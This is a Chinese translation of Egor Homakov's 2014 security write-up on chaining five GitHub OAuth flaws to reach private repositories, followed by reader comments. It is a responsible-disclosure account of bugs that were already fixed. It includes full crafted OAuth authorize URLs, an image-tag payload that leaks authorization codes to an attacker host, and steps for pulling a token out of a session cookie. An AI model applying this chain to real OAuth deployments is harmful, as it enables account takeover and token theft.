Egor Homakov:我是如何再次黑掉 GitHub - 开源中国社区
Egor Homakov:我是如何再次黑掉 GitHub
oschina 2014年02月28日

Egor Homakov:我是如何再次黑掉 GitHub

oschina oschina 发布于2014年02月28日 收藏 72 评论 19

// 编注:为什么标题是“再次”?2013年,GitHub Page服务启用新域名(从 page.github.com 换到 github.io)之前有被跨域攻击的危险。Egor Homakov 写了一篇博文证实。

这篇文章是关于我将5个危险性不高的漏洞组合起来,构造一个简单却高危漏洞的故事。利用这个漏洞,我可以进入github上的用户私有代码仓库。这些漏洞都已经私下报告并及时修复了。

下面是我的邮件时间线:

Screen Shot 2014-02-05 at 6.50.54 PM
几天前,GitHub正式推出了一个赏金计划,这个计划对我来说是研究GitHub OAuth问题的绝佳动力。

漏洞1. 利用/../绕过redirect_uri 验证

我最先发现的是:

如果提供了的话,重定向URL的主机和端口必须严格匹配回调URL。重定向URL的路径只能引用回调URL的一个子目录

然后,我尝试用/../进行路径遍历,我成功了。

 

漏洞2. 在获得令牌的终端缺少重定向URI验证

仅有第一个漏洞没有什么价值。在OAuth2协议中有保护机制防止‘泄露的’重定向URI,每个code参数都签发给对应的‘redirect_uri’。要获得访问令牌必须提供你在认证流程中使用的准确的redirect_uri。

redirect_uri string 你的app中用户认证后返回给用户的URL。查看更多细节点击 redirect_urls.

不幸的是,我决定研究一下这个保护机制有没有被正确实现。

它确实是有缺陷:不管客户端发送什么重定向uri来获得令牌,提供商都会回复一个有效的访问令牌。

要是没有第一个漏洞,第二个漏洞也会要毫无价值。但是,它们却组合成一个很强大的漏洞——攻击者可以劫持一个签发给泄露的重定向uri的授权令牌,然后把这个泄露的令牌用在真正的客户端回调URl上,从而登陆受害者的账户。顺便说下,这和我在VK.com发现的漏洞一样。

这是一个严重的问题,而且可以用来危害所有依赖“用GitHub登陆”功能的网站。我打开了应用页面来查看哪些网站应该检查一下。这个部分引起了我的注意:

Screen Shot 2014-02-05 at 5.56.08 PM
Gist、Education、Pages和Speakerdeck(注:前三个是Github的频道站,后面是旗下站点)都是官方预先认可的OAuth客户端。我没有找到Pages和Education的client_id,Speakerdeck又超出了奖金范围(我在那里发现了账户劫持,并获得了$100)。那么,我们还是在Gist上寻找重定向泄露的页面吧。

 

漏洞3. 在gist中注入跨站图片

基本上,泄露的Referers有两个向量:用户点击一个链接(需要交互)或用户代理载入一些跨站资源,比如<img>
我不能简单的注入(img src=http://attackersite.com),因为这会替换成camo-proxy URL,这样就不能把Referer头传递到攻击者的主机。为了能够绕过Camo-s 过滤器,我用了一个小技巧:<img src=&#8221;///attackersite.com&#8221;>

你可以在开放重定向漏洞进展这篇文章中看到更多细节

///host.com 被Ruby的URI库解析成一个相对路径URL,却被Chrome和Firefox视为一个相对协议URL。下面是我们精心构造的URL:

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&amp;response_type=code

当用户载入这个URL时,Github会自动302 重定向自己。对应地址:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

但是用户代理载入为:

https://gist.github.com/homakov/8820324?code=CODE

那么用户代理会把发送请求的CODE泄露给我们的<img>:

Screen Shot 2014-02-05 at 5.15.39 PM
一旦我们获得受害者的CODE,我们点击 :

https://gist.github.com/auth/github/callback?code=CODE

瞧,我们登陆进了受害者的账号,然后我们可以进入私有的gists

 

漏洞4. Gist在cookies里暴露了github_token

我很想知道Gists是怎么把用户会话和解码的_gist_session存放在cookie(普通的Rails Base64编码的cookie)里:
Screen Shot 2014-02-05 at 5.59.16 PM
天啊,又一个OAuth的反面教材!客户端绝不应该暴露真正的访问令牌给用户代理。现在我们可以用这个github_token代表受害者账户来执行API调用,并且不再需要Gist网站。我试着访问私人代码库:
Screen Shot 2014-02-05 at 6.00.45 PM
该死的,令牌的范围显然仅仅是Gists……

 

漏洞5. 对Gist客户端的自动授权

我的漏洞利用的最后部分。由于Gist是一个预先授权的客户端,我猜想Github也自动认证了Gist客户端请求的其他范围。我果然对了

我们现在要做的只是把构造的URL载入到受害者的浏览器

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&amp;response_type=code&amp;<strong>scope=repo,gists,user,delete_repo,notifications</strong>

用户代理泄漏了受害者的CODE,攻击者使用泄漏的CODE登陆进受害者的Gist账户,解码_gist_session来盗取github_token等等。

私人代码库,读写权限等等——都秘密失窃,因为所用github_token是属于Gist客户端的。完美的犯罪,不是吗?

赏金

Screen Shot 2014-02-07 at 10.58.16 PM

$4000的奖励真是太丰厚了。有趣的是,对他们来说购买我4~5个小时$400的咨询服务,只需要$1600,这会更便宜。重要的是也要有众包安全。最好是两者都用:)

原文链接: Egor Homakov   翻译: 伯乐在线 - 50infivedays
译文链接: http://blog.jobbole.com/61115/

本站文章除注明转载外,均为本站原创或编译。欢迎任何形式的转载,但请务必注明出处,尊重他人劳动共创开源社区。
转载请注明:文章转载自 开源中国社区 [http://www.oschina.net]
本文标题:Egor Homakov:我是如何再次黑掉 GitHub
分享
评论(19)
最新评论
0

引用来自“Glitter”的评论

这也行啊~~~挺猛的

点击此处输入评论
0
软件太智能了,总有疏忽的地方。
0

引用来自“邓攀”的评论

引用来自“haitaosoft”的评论

引用来自“Nemesis_E”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

架构跟安全有直接关系?

多层的c/s,实现方式简单很多,就不会有b/s变通实现的后遗症了。
浏览器,实现单向或简单的交互,是没问题,
复杂的交互,还是原生客户端灵活自然,用户的体验也好很多。

那跟安全扯的关系也不大
只要一联网我觉得就没有很安全的

同样发的网络包 请求 出去,都可以捕捉到的

https的包,一般人捕捉了也没有用。
当然,ssl的后门是另一回事了
0
这也行啊~~~挺猛的
0

引用来自“haitaosoft”的评论

引用来自“Nemesis_E”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

架构跟安全有直接关系?

多层的c/s,实现方式简单很多,就不会有b/s变通实现的后遗症了。
浏览器,实现单向或简单的交互,是没问题,
复杂的交互,还是原生客户端灵活自然,用户的体验也好很多。

你真么说 我倒是同意 不过考虑兼容性 还是浏览器web更简单点
要不然他们得做N个平台的客户端 那工作量可就大了
0

引用来自“haitaosoft”的评论

引用来自“Nemesis_E”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

架构跟安全有直接关系?

多层的c/s,实现方式简单很多,就不会有b/s变通实现的后遗症了。
浏览器,实现单向或简单的交互,是没问题,
复杂的交互,还是原生客户端灵活自然,用户的体验也好很多。

那跟安全扯的关系也不大
只要一联网我觉得就没有很安全的

同样发的网络包 请求 出去,都可以捕捉到的
0

引用来自“Nemesis_E”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

架构跟安全有直接关系?

多层的c/s,实现方式简单很多,就不会有b/s变通实现的后遗症了。
浏览器,实现单向或简单的交互,是没问题,
复杂的交互,还是原生客户端灵活自然,用户的体验也好很多。
0
攻比守容易
0
这家伙越来是来来给自己做广告的"对他们来说购买我4~5个小时$400的咨询服务,只需要$1600"
0

引用来自“海淋”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

赞同,对于应用来说安全还是很重要的。尤其是公网的业务。

纠正我刚才说的 是概念上的错误 不是逻辑 ...
0

引用来自“海淋”的评论

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

赞同,对于应用来说安全还是很重要的。尤其是公网的业务。

B/S架构不就是 C/S架构 只不过这里面的C是 浏览器而已
这显然是个逻辑错误的建议 你还赞同 ...
0

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

架构跟安全有直接关系?
0

引用来自“haitaosoft”的评论

如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!

赞同,对于应用来说安全还是很重要的。尤其是公网的业务。
0
我以为是真的又一次。
0
知识就是财富。。。。
0
知识就是财富。。。。
0
如果是在上次的漏洞之后再次黑进去,
那我只能说:不能在用b/s构建应用了!老老实实用client/webserver吧!!
0
以为又来了一次
0
这篇文章我好像在几天前看过
顶部